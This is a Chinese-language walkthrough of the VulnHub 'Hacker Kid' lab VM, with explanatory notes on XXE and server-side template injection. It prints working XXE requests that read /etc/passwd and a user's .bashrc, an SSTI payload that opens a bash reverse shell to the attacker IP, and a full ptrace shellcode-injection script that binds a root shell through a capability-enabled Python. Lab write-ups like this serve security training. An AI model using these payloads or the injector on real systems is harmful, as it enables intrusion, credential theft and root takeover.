[VulnHub] - Kid-v1.0.1靶场
靶机地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
难度等级:中
打靶目标:取得 root 权限
靶机ip:192.168.17.21
攻击机ip:10.67.43.249
使用工具:fping、dig、nmap、
攻击手法:xxe、模板注入、提权
3个页面80端口、9999端口、域名地址:hackerkid.blackhat.local



信息收集
通过信息收集,发现主机开启了3个端口,分别是80,53,9999,同时我们对这三个端口进行访问,发现页面

首先对80端口进行访问,说是要dig,代码审计发现里面存在page_no需要去猜页面

在21页发现了,原文为好吧,你想让我说点什么吗
我是一个黑客孩子,而不是一个愚蠢的黑客。所以我创建了一些子域,随时可以返回服务器
在我的许多家中。。。一个这样的家。。我有一个这样的家:hackers.blackhat.local,这里应该是设置域名hosts

访问9999端口发现dig me,这里应该是dns的解析

把域名对应的ip写进host


写入域名后发现是一个xxe外部实体注入,这个和xss类似,都是没有经过严格的过滤,导致输入的数据直接输出到页面上了,如下是我查看用户名的载荷,发现用户名为saket
根据抓取的数据包显示:所有的数据都是通过XML文档的方式提交,发送到目标服务器,但是邮件位置,无论发送任何数据,都有问题。因数据是通过XML方式提交,所以可以怀疑是否存在XXE漏洞。
补充:
①XXE漏洞介绍:xxe即xml的外部实体攻击,一般针对xxe引用外部实体的场景,该漏洞类型主要针对服务器端接受客户端提交的XML的数据格式,同时服务器端的XML格式的解析器本身存在漏洞或者解析器的规则存在漏洞,导致恶意用户提价的恶意XML请求,发送到服务器,触发了不应该执行的结果。
②XXE漏洞危害:xxe可以导致任意文件读取、可基于XXE攻击结合SSRF、端口扫描、拒绝服务攻击等其他攻击手段
③XML:xml也是一种标记语言,但是xml相比于html语言更加的灵活(因为XML的标记可以是自定义的),通过这种自定义的方式,可以利用XML存储、传输数据,甚至计算机编程语言中基本的数据结构都可以通过XML来进行结构化,表示该种数据结构。有时候XML也会应用在身份认证过程中,传输身份认证信息。xml中的变量名可以通过标签标记
④XXE漏洞存在原理:XML文档可以包含dtd文档结构,dtd主要用于定义XML的文档结构以及其中包含的数据。同时dtd也可以从外部引用或加载外部的资源,如服务器中存放了某个特殊的文件,包含某些机密的信息,如果服务器存在XXE漏洞,那么攻击者可以通过dtd读取机密文件。
⑤XXE漏洞挖掘最典型特征:向服务器提交一个数据,服务器原封不动的将数据返回到了web界面,如果符合该特征,则可进行XXE漏洞的验证(由于之前在email输入的任何内容,最后都会返回的web页面,如果符合该条件,则有理由怀疑此处存在XXE漏洞.)
POST /process.php HTTP/1.1
Host: hackerkid.blackhat.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 182
Origin: http://hackerkid.blackhat.local
Connection: close
Referer: http://hackerkid.blackhat.local/
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><name>1</name><tel>2</tel><email>&xxe;</email><password>4</password></root>

尝试读取下当前用户下得其他文件,命令:php://filter/convert.base64-encode/resource=/home/saket/.bashrc,成功获取到.bashc文件信息,对返回的信息进行解密,获得一组账户和密码信息:admin/Saket!#$%@!!。
载荷
POST /process.php HTTP/1.1
Host: hackerkid.blackhat.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 227
Origin: http://hackerkid.blackhat.local
Connection: close
Referer: http://hackerkid.blackhat.local/
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">]>
<root><name>1</name><tel>2</tel><email>&xxe;</email><password>4</password></root>

此时想到的是9999端口的登录的用户名和密码发现是saket\Saket!#$%@!!,登录成功,通过fuzz,发现name可以赋值,发现又是可以原封不动的输入到页面上来了,此时想到的是模板注入。

模板注入
通过模板注入反弹shell,需要对这段代码进行url{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/10.67.43.249/4567 0>&1"')}}编码如下是载荷,
GET /?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.67.43.249%2F4567%200%3E%261%22')%7D%7D HTTP/1.1
Host: 192.168.17.21:9999
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _xsrf=2|516fc1c2|b7f73375a01da3efd1a207451c2ee086|1719644342; incorrect="2|1:0|10:1719644417|9:incorrect|4:MA==|df2fc036ae0c2d119771bfee57294cf01bd4a4724617d44995640b0fd81e3cad"; user="2|1:0|10:1719644417|4:user|8:c2FrZXQ=|d7ab74159679a83e6f6e4278a763a760b91243e584430dd39ad0d7ccb5e20df3"
Upgrade-Insecure-Requests: 1

补充:SSTI服务器端模板注入
模板:把最终展示给用户的页面,先做好一些区域的定义,例如某个区域用于显示用户名、某些区域用于显示用户邮箱等。把某个页面的展示,做成一个模板保存下来,接下来就可以在服务器端进行程序开发时,针对不同的用户、用户的邮件地址等信息,取出数据后直接放置在之前模板定义是对应的固定区域上,按照这种方法,不同的用户登录,都按照相同的页面版式,显示各自的用户名、邮件等信息。通过模板的方式,可以极大的降低开发工作。
一个模板本质是其实就是一个html的页面,在body标签中可以放置模板的占位符(变量),后端数据再传输到占位符的位置,按照固定的样式显示出来。如下模板的占位标识符为{{}}表示,插入指令,使用{% %}占位符。不同的模板语言,占位标识符可能有所不同
<html>
<body>
<h1>{{ list_title }}</h1h1>
<h2>{{ list_description }}</h2>
{% for item in item_list %}
{{ item }}
{{ if not loop.last }}
{% endfor %}
</body>
</html>
常见的模板语言有jinjia2、Mako、Django、Twig、smarty等,不同的模板语言,在制定表达式、表示语句的符号等都不一样
SSTI模板漏洞场景:如果服务端代码是按照如下方式编写,则服务端所有提交的数据,都会拼接在如下包含了模板元素的HTML中,因此可以完成对客户端提交数据的篡改,将其修改成不同程序的代码(类似SQL注入),即服务端对客户端提交的数据没有做任何的过滤,就拼接到了构造出的模板的页面上,如果客户端提交的代码可以生效,则一般都可以获取到反弹shell
from jinjia2 import Template
tmpl = Template("<html><h1>Hello " + user_input + "</h1></html>") print(tmpl.render())
提权
编辑inject.py一会可以提权使用
# inject.py
# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
文件能力(capabilities)允许在不需要完全的 root 权限的情况下赋予二进制文件特定的权限。例如,某些网络相关的操作可能需要 CAP_NET_ADMIN 权限,而不需要完整的 root 权限 /sbin/getcap -r / 2>/dev/null

/sbin/getcap -r / 2>/dev/null //文件能力(capabilities)允许在不需要完全的 root 权限的情况下赋予二进制文件特定的权限。例如,某些网络相关的操作可能需要 CAP_NET_ADMIN 权限,而不需要完整的 root 权限
ps -U root //查看开启的进程id
ps -aef |grep root //查看开启的进程id
root 876 1 0 Jun28 ? 00:00:01 /usr/sbin/apache2 -k start //看到usr/sbin/apache2 -k 的进程为876注入后即可提权成功,这里根据你自己的进程号进行书写
python2.7 inject.py 876
ss -tuln | grep 5600 //查看5600端口是否开放
nc 192.168.17.21 5600 //连接终端获得root权限


浙公网安备 33010602011771号